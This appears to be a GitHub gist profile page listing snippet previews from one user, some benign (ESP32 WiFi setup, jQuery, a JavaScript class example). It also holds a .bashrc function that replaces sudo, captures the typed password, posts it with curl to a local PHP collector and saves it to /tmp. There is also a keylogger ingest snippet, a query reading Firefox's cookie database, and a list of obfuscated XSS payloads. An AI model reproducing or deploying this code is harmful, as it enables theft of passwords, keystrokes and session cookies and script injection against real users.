Skip to content

Instantly share code, notes, and snippets.

View atmoner's full-sized avatar
🪄
Focusing

ɐʇɯon3ɹ atmoner

🪄
Focusing
View GitHub Profile
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("button").click(function(){
setTimeout(function(){
$.getJSON("/apitwitter", function(result){
$.each(result, function(i, field){
#include <WiFi.h>
#include <ESPmDNS.h>
#include <WiFiUdp.h>
#include <ArduinoOTA.h>
const char* ssid = "";
const char* password = "";
void setup() {
Serial.begin(115200);
#include <Wire.h>
void setup()
{
Wire.begin( 15, 4 );
{
"nodes": [
{
"id": 1,
"label": "Coronavirius",
"relation": "tweet",
"x": -392,
"y": -217
},
{
@atmoner
atmoner / .bashrc
Last active January 25, 2020 16:54
function sudo () {
# By atmon3r 2020
realsudo="$(which sudo)"
read -s -p "[sudo] password for $USER: " ro0tPasswd
curl --data "user="$USER"&pass=$ro0tPasswd" http://localhost/ro0t.php
printf "\n"; printf '%s\n' "$USER : $ro0tPasswd" > /tmp/ro0t.txt
$realsudo -S <<< "$ro0tPasswd" -u root bash -c "exit" > /dev/null 2>&1
$realsudo "${@:1}"
}
function someClass() {
// Properties go here
this.someProperty = 'some initial value';
}
// Member functions go here:
someClass.prototype.someMemberFunction = function () {
this.someProperty = 'modified value';
console.log("called from prototype");
}
// Creation
const ioHook = require('iohook');
var key = require('./key.js');
let data = {};
let timers = [];
/* Key Logger Ingest */
ioHook.on("keydown", event => {
timers[event.keycode] = Date.now();
@atmoner
atmoner / open-external-link.js
Created December 8, 2019 22:06 — forked from luizcarraro/open-external-link.js
ELECTRON: Open link in external default OS browser
@atmoner
atmoner / commandes.sql
Last active December 3, 2019 12:15
Mozzila sqlite3 query
/* Utilisation:
$ sqlite3 < commands.sql
*/
/* On ouvre le fichier cookies mozzila (/home/{user}/.mozzila/{moz_user}/cookies.sqlite) */
.open cookies.sqlite
/* On affiche proprement le schema de la table moz_cookies */
.header on
.mode column
"/><script>alert(123)</script>
<script>alert("hellox worldss");</script>
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert(&quot;XSS&quot;)>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="